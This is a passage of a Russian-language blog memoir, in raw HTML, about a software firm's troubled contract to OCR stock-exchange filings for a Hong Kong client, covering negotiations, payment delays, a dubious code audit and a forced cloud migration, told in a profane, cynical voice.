  &lt;p id=&quot;6Wn1&quot;&gt;Не буду дальше углубляться в технические детали, кому интересно — есть &lt;a href=&quot;https://blog.0x08.ru/projects-data-processing-2017&quot; target=&quot;_blank&quot;&gt;отдельная статья&lt;/a&gt;.&lt;/p&gt;
  &lt;p id=&quot;gZWt&quot;&gt;Всего в рамках проекта планировалось охватить 28 бирж, от 2 до 200 тысяч компаний на каждой, в среднем по десять форм отчетных документов по каждой компании. &lt;/p&gt;
  &lt;p id=&quot;cJgt&quot;&gt;И все это за период в 5-7 лет, в зависимости от биржи. &lt;/p&gt;
  &lt;h3 id=&quot;gKvw&quot;&gt;Нюанс третий&lt;/h3&gt;
  &lt;p id=&quot;tHub&quot;&gt;Теперь самое важное: &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;5xIx&quot;&gt;всю эту жесть с оптическим распознаванием факсов мы &lt;strong&gt;не планировали&lt;/strong&gt; &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;a8Lw&quot;&gt;Поскольку пилот прошел на кристально чистых данных &lt;a href=&quot;https://www.sgx.com/&quot; target=&quot;_blank&quot;&gt;сингапурской фондовой биржи&lt;/a&gt;, где была жесткая дисциплина и у всех PDF-документов был отдельный текстовый слой, естественно легко читаемый.&lt;/p&gt;
  &lt;blockquote id=&quot;AJBo&quot;&gt;Про остальные биржи, до момента завершения пилота заказчик в лице Томаса рассказать не посчитал нужным.&lt;/blockquote&gt;
  &lt;p id=&quot;DwQJ&quot;&gt;Так что разница в сложности между пилотом и основным проектом оказалась как между детским увлечением ракетным моделированием и запуском настоящей ракеты с Байконура.&lt;/p&gt;
  &lt;p id=&quot;AJTS&quot;&gt;Но осознали это мы далеко не сразу.&lt;/p&gt;
  &lt;figure id=&quot;xgEr&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c7/b1/c7b1a19b-1442-46b8-81ea-f99edac59c49.jpeg&quot; width=&quot;2560&quot; /&gt;
    &lt;figcaption&gt;Дежавю? Потому что этими улочками вдохновлялись создатели Cyberpunk 2077.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;f3w8&quot;&gt;Король говорит&lt;/h2&gt;
  &lt;p id=&quot;eola&quot;&gt;Если честно, я мало что понимаю в китайской культуре, поэтому большая часть внутреннего убранства в кабинете мистера Лу Ченга так и осталась для меня загадкой.&lt;/p&gt;
  &lt;p id=&quot;zGTi&quot;&gt;Разумеется живя в Сингапуре, видел &lt;s&gt;всякое&lt;/s&gt; и «Китайский Новый год» и ритуал сжигания фальшивых денег. Даже успел узнать, что статуэтка огромной жабы приносит финансовую удачу.  &lt;/p&gt;
  &lt;blockquote id=&quot;hIjU&quot;&gt;Но почему-то не финансовую грамотность.&lt;/blockquote&gt;
  &lt;p id=&quot;njIV&quot;&gt;Как бы то ни было, мои познания были на уровне «красных шаровар и самовара у русских» — набора стереотипов, мало отражающих реалии.&lt;/p&gt;
  &lt;p id=&quot;DMwa&quot;&gt;Однако мистер Лу Ченг явно жил в гармонии со своими корнями и не испытывал никакого диссонанса от 21го века. &lt;/p&gt;
  &lt;p id=&quot;Bahn&quot;&gt;Мне же как «технарю» в первую очередь бросилось в глаза отсутствие какой-либо электроники:&lt;/p&gt;
  &lt;blockquote id=&quot;k2pr&quot;&gt;ни мобильного телефона, ни планшета, ни ноутбука или стационарного компьютера в кабинете не было.&lt;/blockquote&gt;
  &lt;p id=&quot;IymD&quot;&gt;Мистер Лу пользовался исключительно ручкой и бумагой, для всего остального у него был секретарь.&lt;/p&gt;
  &lt;p id=&quot;hjeU&quot;&gt;— Алекс, Павел, простите за ожидание. &lt;/p&gt;
  &lt;p id=&quot;CsBO&quot;&gt;— Рад наконец познакомиться лично. Как вам Гонконг?&lt;/p&gt;
  &lt;p id=&quot;EVHk&quot;&gt;Вставший из-за стола пожилой китаец, несмотря на возраст имел идеальную выправку. Еще он отлично говорил по-английски, практически без акцента и придерживался западных норм этикета — мы у него были явно не первыми «европейскими гостями».&lt;/p&gt;
  &lt;p id=&quot;bgu0&quot;&gt;— Томас много о вас рассказывал, очень впечатлился вашей работой..&lt;/p&gt;
  &lt;p id=&quot;wUzo&quot;&gt;— ..но мне все же хотелось встретиться лично. Понимаете, я старый человек и привык видеть людей с которыми веду дела.  &lt;/p&gt;
  &lt;p id=&quot;Sx76&quot;&gt;Мистер Лу взял со стола копию нашего договора, пролистав до страницы с оценкой бюджета.&lt;/p&gt;
  &lt;p id=&quot;mehD&quot;&gt;— То что вы просите, это большие деньги. Серьезная сделка.&lt;/p&gt;
  &lt;p id=&quot;RbLg&quot;&gt;Мы с партнером переглянулись.&lt;/p&gt;
  &lt;p id=&quot;CjRO&quot;&gt;— Вообще-то Томас утверждал, что уже согласовал бюджет с вами. &lt;/p&gt;
  &lt;p id=&quot;8pRc&quot;&gt;Конечно ситуация была не нова — с увеличением цены, уровень п#здобольства посредников растет в геометрической прогрессии и фразу «тут решаю я» вы услышите еще не раз. &lt;/p&gt;
  &lt;blockquote id=&quot;3qnJ&quot;&gt;Пока не дойдете до финального босса.&lt;/blockquote&gt;
  &lt;p id=&quot;tggd&quot;&gt;Но в случае с Ченгами, мы действительно убили много времени на подготовку и не очень обрадовались перспективе повторить этот процесс.&lt;/p&gt;
  &lt;p id=&quot;n6OF&quot;&gt;— Ну он что-то такое рассказывал, да. Но поймите, я старый человек..&lt;/p&gt;
  &lt;p id=&quot;ihZw&quot;&gt;— Мистер Лу, если считаете, что &lt;em&gt;для вас&lt;/em&gt; это слишком дорого — можем сделать переоценку проекта. Какие-то из задач уберем. Но это займет время и сроки начала работ сдвинутся.&lt;/p&gt;
  &lt;p id=&quot;Xp9Y&quot;&gt;Ченг-старший нахмурился, легкий намек на финансовую несостоятельность его явно огорчил.&lt;/p&gt;
  &lt;p id=&quot;MRXZ&quot;&gt;— Расскажите за что я плачу. &lt;/p&gt;
  &lt;p id=&quot;rIvO&quot;&gt;Лу Ченг указал пальцем на договор.&lt;/p&gt;
  &lt;p id=&quot;SQ0t&quot;&gt;— В чем суть всего этого?&lt;/p&gt;
  &lt;p id=&quot;YPmW&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;9l6a&quot;&gt;Ну что мои дорогие «просто программисты», как там поживает ваша усталость от общения с «непонимающими идиотами»?&lt;/p&gt;
  &lt;blockquote id=&quot;vxx5&quot;&gt;Попробуйте объяснить китайскому дедушке, привыкшему вести дела только ручкой и бумагой, на что пойдут его деньги, выделяемые под ИТ-проект — быстро поймете, что такое настоящая проблема.&lt;/blockquote&gt;
  &lt;p id=&quot;FROn&quot;&gt;Но нам все же удалось.&lt;/p&gt;
  &lt;p id=&quot;OHHo&quot;&gt;Несколько долгих часов спустя, мы покинули офис мистера Ченга, унося с собой подписанный договор на полмиллиона долларов. &lt;/p&gt;
  &lt;figure id=&quot;FOam&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/75/75/7575e957-113d-422a-b0c8-7ea698695df5.jpeg&quot; width=&quot;2560&quot; /&gt;
    &lt;figcaption&gt;Еще немного Гонконга.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;fF57&quot;&gt;Предстартовая подготовка&lt;/h2&gt;
  &lt;p id=&quot;FOYQ&quot;&gt;Если вы что-то понимаете в заказной разработке как бизнесе, думаю прекрасно понимаете, что должно происходить в таких случаях:&lt;/p&gt;
  &lt;blockquote id=&quot;xtKf&quot;&gt;команду немедленно усиливают, либо нанимая в штат, либо подключая разработчиков из соседних компаний.&lt;/blockquote&gt;
  &lt;p id=&quot;fFPv&quot;&gt;Потому как не бывает свободных команд, сидящих «на низком старте» в ожидании проекта. &lt;/p&gt;
  &lt;p id=&quot;rMPF&quot;&gt;Точнее бывает, но очень недолго и лишь у самых крупных компаний: &lt;/p&gt;
  &lt;blockquote id=&quot;iQMH&quot;&gt;ЕПАМ, Люксофт, Accenture — такого масштаба. &lt;/blockquote&gt;
  &lt;p id=&quot;AyoB&quot;&gt;Всем остальным при любом более-менее серьезном проекте, приходится либо быстро нанимать с улицы, либо звать на помощь коллег.&lt;/p&gt;
  &lt;p id=&quot;ibnG&quot;&gt;Прикинув график выплат за закрытие этапов работ и серьезно подумав, решили справляться своими силами, подключив лишь аналитика и тестировщиков.&lt;/p&gt;
  &lt;blockquote id=&quot;UeAH&quot;&gt;Что в дальнейшем только продлило агонию, создав иллюзию, что ресурсов хватит и успех еще достижим.&lt;/blockquote&gt;
  &lt;p id=&quot;yars&quot;&gt;Замечу, что финансовое планирование — крайне занимательное занятие, которое быстро дает понять, что ничем кроме наркоторговли, нефти и проституции заниматься вообще не стоит, ввиду невыгодности.&lt;/p&gt;
  &lt;p id=&quot;qH3J&quot;&gt;Можете обчитаться умными книгами по работе с клиентами, планированию, ведению проектов и оценке рисков — в реальности все сведется к 5% марже, кредитам и ипотеке. В хороший год.&lt;/p&gt;
  &lt;figure id=&quot;ztGw&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a3/8e/a38ec35e-de62-40da-b9d0-771af4a3101c.jpeg&quot; width=&quot;1280&quot; /&gt;
    &lt;figcaption&gt;Центр Сингапура. И сингапурцы.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;SGlW&quot;&gt;Тучи сгущаются&lt;/h2&gt;
  &lt;p id=&quot;2k3i&quot;&gt;Чтобы получить нечто большее чем кредиты и ипотека, приходится &lt;s&gt;ходить в набеги&lt;/s&gt; идти на серьезный риск. И принимать всю ответственность за возможный провал — сообщаю на случай, если не понимаете, зачем было во все это лезть. &lt;/p&gt;
  &lt;p id=&quot;Zkt8&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;GtyQ&quot;&gt;— Привет, есть минутка? Надо обсудить по проекту.&lt;/p&gt;
  &lt;p id=&quot;XfZH&quot;&gt;Наш любимый аналитик, назовем ее Верочкой, выручала нас бессчетное количество раз. &lt;/p&gt;
  &lt;p id=&quot;E6Lp&quot;&gt;Один из тех редких случаев, когда человек действительно оказался на своем месте, попав в аналитики не по &lt;s&gt;залету&lt;/s&gt; воле случая, а целенаправленно — сначала обучившись, а затем много лет работая по профилю. &lt;/p&gt;
  &lt;p id=&quot;VJlV&quot;&gt;Мнению Верочки мы действительно доверяли и только ее ребята всегда искренне поздравляли со всеми праздниками.&lt;/p&gt;
  &lt;p id=&quot;NDeI&quot;&gt;— Посмотрела наконец все документы, ну.. выборочно. Но всех нужных нам типов и форм, по всем биржам. &lt;/p&gt;
  &lt;p id=&quot;eTSl&quot;&gt;— Думаю у нас проблема.&lt;/p&gt;
  &lt;p id=&quot;GEDV&quot;&gt;Разумеется мы не #бнулись до такой степени, чтобы подписывать крупный контракт, не изучив возможные риски. Поэтому еще до выноса мозга в кабинете «дедушки Лу» прекрасно понимали, что будет непросто.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;N7Lv&quot;&gt;Но нельзя проверить &lt;strong&gt;абсолютно все&lt;/strong&gt;, особенно на крупном проекте.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;iZqk&quot;&gt;Всегда остается шанс упустить что-то важное.&lt;/p&gt;
  &lt;p id=&quot;56wr&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;sJxA&quot;&gt;— Слишком много вариаций. &lt;/p&gt;
  &lt;p id=&quot;2Ovp&quot;&gt;— Вот смотри, форма «23-B». В разные годы (требовалось обрабатывать документы минимум за 5 лет) формат немного отличается. Нашла три варианта, которые точно придется учитывать по всем компаниям на этой бирже.&lt;/p&gt;
  &lt;p id=&quot;QXDC&quot;&gt;— Часть форм заполнена от руки, затем отсканирована. Таких к счастью мало. Теперь самое печальное: &lt;/p&gt;
  &lt;blockquote id=&quot;XH52&quot;&gt;есть три биржи, где все документы на национальных языках.   &lt;/blockquote&gt;
  &lt;p id=&quot;JKla&quot;&gt;Типа такого:&lt;/p&gt;
  &lt;figure id=&quot;CQiF&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a5/9a/a59a6dbf-d704-4c1f-b99d-34c2c674b447.png&quot; width=&quot;790&quot; /&gt;
    &lt;figcaption&gt;Видите круглую красную печать справа? Это печать на бумажном оригинале, временами ее лепили прямо по центру, поверх текста.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;u6AB&quot;&gt;— Тут есть дублирование на английском, сможем привязаться к английскому тексту. С вьетнамским будут проблемы, но тексты на национальных языках нам и не нужны, только цифры.&lt;/p&gt;
  &lt;p id=&quot;H2xK&quot;&gt;— Да, но таких документов очень много.. в разных вариациях, с рукописным заполнением..&lt;/p&gt;
  &lt;p id=&quot;ptta&quot;&gt;— Бюджет тоже немаленький, справимся.&lt;/p&gt;
  &lt;p id=&quot;FkIa&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;pZy5&quot;&gt;Вскоре состоялся созвон с представителем заказчика — Катрин, предвестницей апокалипсиса.&lt;/p&gt;
  &lt;p id=&quot;i93y&quot;&gt;— Катрин привет! &lt;/p&gt;
  &lt;p id=&quot;lDOK&quot;&gt;— Тут у нас непредвиденные трудности, хотим немного поменять план работ, передвинуть пару этапов. Нет, ничего не случилось, небольшие технические нюансы, нет смысла беспокоить Томаса.&lt;/p&gt;
  &lt;p id=&quot;3AGv&quot;&gt;Мы всего лишь хотели переставить местами этапы: &lt;/p&gt;
  &lt;blockquote id=&quot;yCgX&quot;&gt;сначала закончить работу с биржами, где были документы без национальных языков и рукописного заполнения. &lt;/blockquote&gt;
  &lt;p id=&quot;cxdN&quot;&gt;Проблемные закрыть позже, с помощью интерфейса оператора, где живой человек мог бы корректировать результаты обработки для сложных случаев.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;puCa&quot;&gt;Все просто, красиво и логично.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;ScZr&quot;&gt;У нас были хорошие отношения с обоими Ченгами, у партнера — адюльтер с Катрин, формального представителя компании-заказчика.&lt;/p&gt;
  &lt;p id=&quot;jf0L&quot;&gt;И абсолютно ничего не предвещало беды.&lt;/p&gt;
  &lt;figure id=&quot;f8Ie&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/05/1a/051a69a8-c25d-496b-8d83-b28054cc66d4.jpeg&quot; width=&quot;2560&quot; /&gt;
    &lt;figcaption&gt;Снова улицы Гонконга.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;f7Us&quot;&gt;Стремительное падение&lt;/h2&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;ceYF&quot;&gt;Чужие тайны — всегда про плохое, поскольку люди скрывают только разнообразные мерзости.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;QZY3&quot;&gt;Нет смысла утаивать занятия спортом, фотографирование котиков или помощь сиротам. Зато половые девиации, алкотрипы, увлечение веществами, воровство и прочий криминал — всегда заметаются под ковер.&lt;/p&gt;
  &lt;blockquote id=&quot;non9&quot;&gt;Давно осознав эту простую истину, мы не интересовались происходящим на стороне клиента, стараясь не лезть во внутренние дела.&lt;/blockquote&gt;
  &lt;p id=&quot;pGT6&quot;&gt;С Катрин было что-то явно не так, недомолвки и пропадания по нескольку дней случались с ней и Томасом регулярно. Как и непонятные для нас кадровые перестановки — что-то происходило в компании Ченгов.&lt;/p&gt;
  &lt;p id=&quot;6dZW&quot;&gt;Стоило применить свои «особые таланты» и выяснить-таки положение дел? Может быть.&lt;/p&gt;
  &lt;p id=&quot;yeLa&quot;&gt;Но «задним умом все крепки» и обсуждать, как следовало поступить &lt;s&gt;маршалу Жукову&lt;/s&gt; ныне можно бесконечно. &lt;/p&gt;
  &lt;p id=&quot;CmtE&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;BSMk&quot;&gt;Сначала начались задержки по оплате.&lt;/p&gt;
  &lt;p id=&quot;XOGY&quot;&gt;«Забыли перевести», «абонент недоступен», «я перезвоню», «извините, завтра» и непрочитанные сообщения — думаю это видели все.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;sU34&quot;&gt;Как только доходит до проблем с оплатой — все ведут себя одинаково, вне зависимости от размера долга, возраста, происхождения или социального положения.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;XOvp&quot;&gt;С радостью и улыбкой платят только шлюхам и жуликам, всем остальным долги приходится в том или ином виде &lt;strong&gt;выбивать&lt;/strong&gt;. Задумайтесь о смене деятельности если вас это огорчает.&lt;/p&gt;
  &lt;p id=&quot;hkSE&quot;&gt;После задержек с оплатой пришли и первые претензии.&lt;/p&gt;
  &lt;figure id=&quot;qyLg&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c0/8b/c08bb4c2-853b-4643-a8a7-3273bc760ee8.jpeg&quot; width=&quot;1280&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;FQUE&quot;&gt;Облачная история&lt;/h2&gt;
  &lt;p id=&quot;3biI&quot;&gt;— Алекс, мне неприятно это говорить, но вы не справляетесь.&lt;/p&gt;
  &lt;p id=&quot;9GNl&quot;&gt;Вообще-то я приехал к Томасу для прояснения финансовых вопросов — за Ченгами накопился долг.&lt;/p&gt;
  &lt;p id=&quot;K5Gk&quot;&gt;— Печально такое слышать, приношу искренние извинения если качество работ не устроило. Что именно вызвало сомнения?&lt;/p&gt;
  &lt;p id=&quot;dWyy&quot;&gt;На самом деле мы успели закрыть этап с пятью первыми биржами без особых нареканий. Плюс успешный пилот. &lt;/p&gt;
  &lt;p id=&quot;JbiO&quot;&gt;Единственное, что на тот момент шло не по плану это очередность этапов.&lt;/p&gt;
  &lt;p id=&quot;YWys&quot;&gt;— Неважно. &lt;/p&gt;
  &lt;p id=&quot;Tdes&quot;&gt;Считывать эмоции по лицу азиата весьма непросто, но поза и жесты его выдавали. Томас нервничал.&lt;/p&gt;
  &lt;p id=&quot;196n&quot;&gt;— Был проведен аудит проекта, позвал своего знакомого «эксперта по компьютерам». Учились вместе. &lt;/p&gt;
  &lt;p id=&quot;hU2M&quot;&gt;— Очень умный парень, делает стартап в Долине.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;Lbaj&quot;&gt;— Эксперт сказал, что все плохо, потому что у вас Java&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;n9i1&quot;&gt; — И я ему верю.&lt;/p&gt;
  &lt;p id=&quot;apWm&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;zMup&quot;&gt;Когда в следующий раз начнете возмущаться на тему сертификации и подтверждения компетенций — вспомните этот эпизод. &lt;/p&gt;
  &lt;p id=&quot;gUxF&quot;&gt;Таких «экспертов», утверждающих что «все плохо» на моей практике был не один десяток и каждый раз их советы имели разрушительный эффект.&lt;/p&gt;
  &lt;p id=&quot;F9mL&quot;&gt;— А можно получить заключение этого.. «эксперта»? &lt;/p&gt;
  &lt;p id=&quot;7NRI&quot;&gt;— Ну.. он же наверное оставил документ или электронное письмо с описанием наших &lt;s&gt;грехов&lt;/s&gt; проблем? Мы были бы очень благодарны и смогли что-то поправить в проекте.&lt;/p&gt;
  &lt;p id=&quot;VjCI&quot;&gt;Томас посмотрел на меня долгим взглядом человека, узревшего истину.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;sT7G&quot;&gt;— Нет, он просто немного полистал код и рассказал свое видение.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;t4LZ&quot;&gt;Замечу, что это произнес отлично образованный молодой бизнесмен в дорогом костюме, CEO собственной компании. &lt;/p&gt;
  &lt;p id=&quot;TCwL&quot;&gt;Не безработный шизоид из интернета.&lt;/p&gt;
  &lt;p id=&quot;U3jk&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;0xLr&quot;&gt;— Это уже неважно, тебя пригласили по другому поводу. &lt;/p&gt;
  &lt;p id=&quot;ua5b&quot;&gt;— Есть новая задача.&lt;/p&gt;
  &lt;p id=&quot;lkiJ&quot;&gt;Томас протянул распечатку презентации из PowerPoint, которую я из уважения начал листать.&lt;/p&gt;
  &lt;p id=&quot;CpZG&quot;&gt;— Компания становится облачной, мы заключили партнерское соглашение с облачным провайдером и переносим всю инфраструктуру в облака.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;k7V6&quot;&gt;Ну хоть не сразу на Марс.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;LgAF&quot;&gt;Облачный провайдер оказался тем самым, очень известным, в котором работали Боб и Майк — дружелюбные бриты, обещавшие нам &lt;s&gt;минет&lt;/s&gt; помощь и поддержку у дверей кабинета Лу Ченга, папы Томаса.&lt;/p&gt;
  &lt;p id=&quot;ymRy&quot;&gt;Совпадение, не иначе.&lt;/p&gt;
  &lt;p id=&quot;aFNS&quot;&gt;— Забудем о мелочах и недочетах. Хотя мне и кажется теперь, что вы недостаточно опытны для такого проекта. &lt;/p&gt;
  &lt;p id=&quot;Ni1t&quot;&gt;— Даю второй шанс.&lt;/p&gt;
  &lt;p id=&quot;xVFf&quot;&gt;Если вы, дорогой читатель — лишь простой разработчик и не имеете отношения к руководству, попробуйте за время чтения этой статьи посчитать, сколько раз вы бы послали нах#й всех этих замечательных людей. &lt;/p&gt;
  &lt;p id=&quot;RGYG&quot;&gt;На какое количество оскорблений в лицо вас бы хватило.&lt;/p&gt;
  &lt;p id=&quot;6Cd4&quot;&gt;— Проект надо перенести в облако, целиком. До конца года.&lt;/p&gt;
  &lt;p id=&quot;JyEn&quot;&gt;— Томас, при всем уважении..&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;DGyx&quot;&gt;— Увеличиваю бюджет, $200к сверху. Не надо торговаться и выносить мозг деталями. Просто сделайте. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;S5Ni&quot;&gt;— Или валите нахер.&lt;/p&gt;
  &lt;p id=&quot;jTY7&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;NIxX&quot;&gt;Это сейчас, спустя десять лет практики и регулярного участия в подобных переговорах, вряд ли получится меня впечатлить условиями или напугать последствиями.&lt;/p&gt;
  &lt;p id=&quot;Zg6D&quot;&gt;Даже если переговоры будут на частной яхте, с парой фотомоделей под боком и винтажным &lt;a href=&quot;https://www.idealwine.com/fr/acheter-du-vin/domaine-Comte%20Liger_Belair&quot; target=&quot;_blank&quot;&gt;Domaine du Comte Liger-Belair&lt;/a&gt; в бокале — ответ будет стандартным:&lt;/p&gt;
  &lt;blockquote id=&quot;Cmai&quot;&gt;обсудим с нашими специалистами, оценим работы, вышлем план&lt;/blockquote&gt;
  &lt;p id=&quot;rpqd&quot;&gt;Но опыт не появляется на пустом месте, как вы понимаете.&lt;/p&gt;
  &lt;figure id=&quot;sgqY&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/00/5c/005c65ea-7a76-4e1b-acec-c942fc86e900.gif&quot; width=&quot;500&quot; /&gt;
    &lt;figcaption&gt;Помните эту знаменитую сцену из х\ф &lt;a href=&quot;https://en.wikipedia.org/wiki/Swordfish_(film)&quot; target=&quot;_blank&quot;&gt;Swordfish&lt;/a&gt;? Рассказываю, чем такое заканчивается в реальности.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;X3eV&quot;&gt;Голодная зима&lt;/h2&gt;
  &lt;p id=&quot;oShM&quot;&gt;— Ну и что теперь со всем этим делать? &lt;/p&gt;
  &lt;p id=&quot;19Ss&quot;&gt;Столь интересные новости стоило обсудить со своим партнером по «опасному бизнесу», что я и сделал, едва закончив общение с Ченгом-младшим.&lt;/p&gt;
  &lt;p id=&quot;7NTP&quot;&gt;— Как там было у классиков? «Есть два стула»..&lt;/p&gt;
  &lt;p id=&quot;inOT&quot;&gt;— Давай серьезно. Клиент увеличивает бюджет, это хорошо. &lt;/p&gt;
  &lt;p id=&quot;nZcW&quot;&gt;— Клиент немного недоволен, хотя пока и непонятно чем. &lt;/p&gt;
  &lt;p id=&quot;ewt5&quot;&gt;— Это плохо.&lt;/p&gt;
  &lt;p id=&quot;h7HN&quot;&gt;— За Клиентом висит долг, не очень большой. &lt;/p&gt;
  &lt;p id=&quot;zvDa&quot;&gt;— Это плохо.&lt;/p&gt;
  &lt;p id=&quot;hSOh&quot;&gt;— Сумма долга для клиента равнозначна посещению борделя с вином и бл#дьми. Или сезонному обновлению гардероба.&lt;/p&gt;
  &lt;p id=&quot;1BWl&quot;&gt;— Это хорошо.&lt;/p&gt;
  &lt;p id=&quot;Bi5R&quot;&gt;— Типа «минус на минус дает плюс»? &lt;/p&gt;
  &lt;p id=&quot;NAMH&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;nFwv&quot;&gt;Мы все же решились продолжать.&lt;/p&gt;
  &lt;p id=&quot;lNw2&quot;&gt;Помимо &lt;s&gt;сказочного&lt;/s&gt; серьезного бюджета, такой проект будучи реализованным и запущенным, позволил бы набрать компетенции в узкой области работы с биржами и первичными документами. &lt;/p&gt;
  &lt;p id=&quot;zuuV&quot;&gt;И следующий десяток лет мы бы спокойно жили с доработок и сопровождения.&lt;/p&gt;
  &lt;blockquote id=&quot;Ymtd&quot;&gt;В этом был главный смысл.&lt;/blockquote&gt;
  &lt;p id=&quot;kv71&quot;&gt;Какую-то часть оплаты мы успели получить, но этого никак не хватало для завершения работ.  &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;MCFL&quot;&gt;Пришло время оплачивать разработку из своего кармана.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;37sJ&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;nuqe&quot;&gt;Когда с вашего личного счета впервые списывается сумма для оплаты месячного труда &lt;strong&gt;команды&lt;/strong&gt; разработки — приходит осознание бренности бытия.&lt;/p&gt;
  &lt;blockquote id=&quot;GwTz&quot;&gt;А идея устроить месячный загул, сняв бордель целиком и выкупив ближайшую винную лавку уже не кажется столь неразумной.&lt;/blockquote&gt;
  &lt;p id=&quot;8PBe&quot;&gt;Смысл термина «&lt;a href=&quot;https://en.wikipedia.org/wiki/Burn_rate&quot; target=&quot;_blank&quot;&gt;burn rate&lt;/a&gt;», часто употребляемого в стартап-тусовке не будет понятен, пока «сжигаемые деньги» не окажутся вашими собственными.&lt;/p&gt;
  &lt;blockquote id=&quot;TbMe&quot;&gt;Вы будете ходить на работу, устраивать совещания, закупать расходники для офиса, поздравлять с юбилеями, оплачивать выходные и больничные.&lt;/blockquote&gt;
  &lt;p id=&quot;KI0Z&quot;&gt;А где-то за кадром будут гореть ваши собственные, с таким трудом заработанные капиталы.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;njru&quot;&gt;Выдерживают такое очень далеко не все, поэтому не всем стоит заниматься бизнесом. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;oR3J&quot;&gt;Чтобы там ни утверждали разнообразные интернет-коучи, обычная офисная работа с 9 до 5 за зарплату — &lt;strong&gt;не самый плохой вариант&lt;/strong&gt;. &lt;/p&gt;
  &lt;p id=&quot;mu7I&quot;&gt;Точно лучше, чем оказаться в дурке к 40 годам, могиле или рехабе из-за непрерывного стресса и перенапряжения.&lt;/p&gt;
  &lt;p id=&quot;A0Dt&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;vAwf&quot;&gt;Шли дни, затем недели. &lt;/p&gt;
  &lt;p id=&quot;NA9S&quot;&gt;С горем пополам, мы перенесли-таки всю обработку документов в облако. Там же — в облаке теперь работал и весь бекэнд с API для мобильных приложений. И даже панель администратора.&lt;/p&gt;
  &lt;p id=&quot;xioB&quot;&gt;Все как заказывал Томас.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;LEDt&quot;&gt;Фактически, было выполнено 2/3 работы и впереди просматривалась финишная черта. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;8NcZ&quot;&gt;К сожалению Ченг-младший по всей видимости утратил интерес к проекту, наши отношения с последней встречи успели охладеть и всеми текущими вопросами теперь занималась Катрин. &lt;/p&gt;
  &lt;p id=&quot;qg8s&quot;&gt;Их с Павлом «производственный роман» также сошел на нет, но обошлось без &lt;s&gt;мордобоя&lt;/s&gt; разбитой посуды и взаимных оскорблений — все же взрослые люди.&lt;/p&gt;
